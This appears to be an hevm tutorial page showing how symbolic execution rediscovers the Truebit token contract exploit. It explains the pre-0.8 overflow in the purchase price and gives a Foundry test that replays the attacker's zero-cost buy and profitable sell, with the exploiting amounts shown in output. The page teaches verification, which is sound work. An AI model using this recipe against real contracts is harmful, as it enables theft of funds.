Example: Truebit Exploit

On 8 January 2026 an attacker drained 8535 ETH (about $26.6M) from Truebit's token purchase contract in a single transaction. This page shows how hevm finds that exploit on its own, given only the deployed bytecode and a property that the developers could have written before deploying: buying tokens and selling them straight back is never profitable.

The test runs against the state of Ethereum mainnet at the block before the attack, fetched over RPC, so no contract source or local deployment is needed.

The Bug

Truebit sells and buys back its TRU token from a purchase contract at 0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2, a proxy whose implementation was never source-verified. Its functions include:

getPurchasePrice(amount): the ETH price of buying amount TRU,
buyTRU(amount): mints amount TRU for that price, paid as msg.value,
sellTRU(amount): burns amount TRU and pays ETH back from the reserve.

The contract was compiled with a Solidity version older than 0.8, which does not check arithmetic for overflow. Public analyses of the decompiled bytecode show that the purchase price is a quadratic in amount, roughly

price = (100 * amount^2 * reserve + 200 * totalSupply * amount * reserve) / (25 * totalSupply^2)

where each multiplication is checked, but the addition of the two terms is not. For a large enough amount the sum wraps around modulo 2^256 and the price becomes tiny, or zero. The attacker bought about 240 million TRU for 0 ETH and sold them back for 5105 ETH, then repeated this with other amounts.

The Property

Without knowing anything about the bug, a developer can state what the contract must never allow: buying some amount of TRU at the quoted price and immediately selling it back must not return more ETH than was paid. With amount as a symbolic argument, hevm checks this for every possible amount at once.

Running It

You need Foundry, hevm, and the URL of an Ethereum mainnet archive node in ETH_RPC_URL. The free tier of a provider such as Alchemy works.

First, create a Forge project:

forge init --no-git truebit
cd truebit

Then save the test as test/Truebit.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test} from "forge-std/Test.sol";

interface ITruebitPurchase {
    function buyTRU(uint256 amount) external payable;
    function sellTRU(uint256 amount) external;
    function getPurchasePrice(uint256 amount) external view returns (uint256);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract TruebitTest is Test {
    ITruebitPurchase constant PURCHASE = ITruebitPurchase(0x764C64b2A09b09Acb100B80d8c505Aa6a0302EF2);
    IERC20 constant TRU = IERC20(0xf65B5C5104c4faFD4b709d9D60a185eAE063276c);

    receive() external payable {}

    function buyThenSell(uint256 amount) internal returns (uint256 paid, uint256 got) {
        paid = PURCHASE.getPurchasePrice(amount);
        vm.deal(address(this), paid);
        PURCHASE.buyTRU{value: paid}(amount);
        TRU.approve(address(PURCHASE), amount);
        PURCHASE.sellTRU(amount);
        got = address(this).balance;
    }

    // the attacker's first round
    function prove_replay_exploit() public {
        (uint256 paid, uint256 got) = buyThenSell(240442509453545333947284131);
        assertEq(paid, 0);
        assertGt(got, 5000 ether);
    }

    function prove_buy_sell_no_profit(uint256 amount) public {
        (uint256 paid, uint256 got) = buyThenSell(amount);
        assertLe(got, paid);
    }
}

The test contract starts with no ETH, so buyThenSell gives it exactly the quoted price with vm.deal. Whatever it holds after selling is what the sale returned.

Build it:

forge build --ast

Replaying the Attack

As a sanity check, run the attacker's first round with concrete values. The --rpc and --number options make hevm fetch contracts and storage from block 24190506, the block before the attack:

$ hevm test --root . --rpc "$ETH_RPC_URL" --number 24190506 --match prove_replay_exploit
Checking 1 function(s) in contract test/Truebit.t.sol:TruebitTest
[RUNNING] prove_replay_exploit()
   [PASS] prove_replay_exploit

So at that block, the attacker's amount really did cost nothing and sell for more than 5000 ETH.

Finding the Attack

Now let hevm look for a violation of the property, with amount symbolic:

$ hevm test --root . --rpc "$ETH_RPC_URL" --number 24190506 --match prove_buy_sell_no_profit
Checking 1 function(s) in contract test/Truebit.t.sol:TruebitTest
[RUNNING] prove_buy_sell_no_profit(uint256)
   Counterexample:   [validated]
     calldata: prove_buy_sell_no_profit(243330867036744954592876282)
     result:   Revert: Error("assertion failed: 5586696040365474381874 > 3044085806507062090326")
   [FAIL] prove_buy_sell_no_profit
   Stopped at the first counterexample, --no-early-abort finds all of them

This took about 10 minutes on 16 cores. hevm found an amount for which buying costs 3044 ETH but selling returns 5587 ETH. The SMT solver may well return a different amount: in our runs it also found 240442509453545333947284168, which is 37 away from the attacker's amount and, like it, costs 0 ETH.

What hevm Did

Fetched only what it needed. hevm starts from an empty state and fetches each account and storage slot from the RPC node the first time execution touches it. Everything fetched is cached in the user's cache directory, so running the test again makes no RPC requests.
Executed the bytecode symbolically. amount is a symbolic 256-bit value. At every branch whose condition depends on it, such as the checks in buyTRU and sellTRU, hevm explores each side that can be taken, about a hundred paths here.
Asked the solver for a violation. At the end of each path, hevm asks whether some amount makes got > paid. Finding one means solving the non-linear, wrapping price arithmetic above, which is why the solver needs several minutes per query.
Validated the counterexample. hevm reran the test concretely with the amount it found, against the same fetched state, and the assertion failed again. That is what [validated] means, and the result line shows the values from that rerun.
Stopped. Once it had a counterexample, hevm stopped the remaining paths and their solver queries. --no-early-abort explores them all.

Tips

The query that finds the exploit takes about 5 minutes, close to the default --smt-timeout of 300 seconds. If a run ends with only "Result unknown" warnings, try a longer timeout.
Pin the block with --number. Without it, hevm uses the latest block, where the contract's state is different, and the RPC cache is not used.
To understand where time goes, --progress-log FILE writes a JSON log of each solver query and how long it took, and --dump-unsolved DIR saves the queries the solver could not answer as SMT2 files.

Keyboard shortcuts

hevm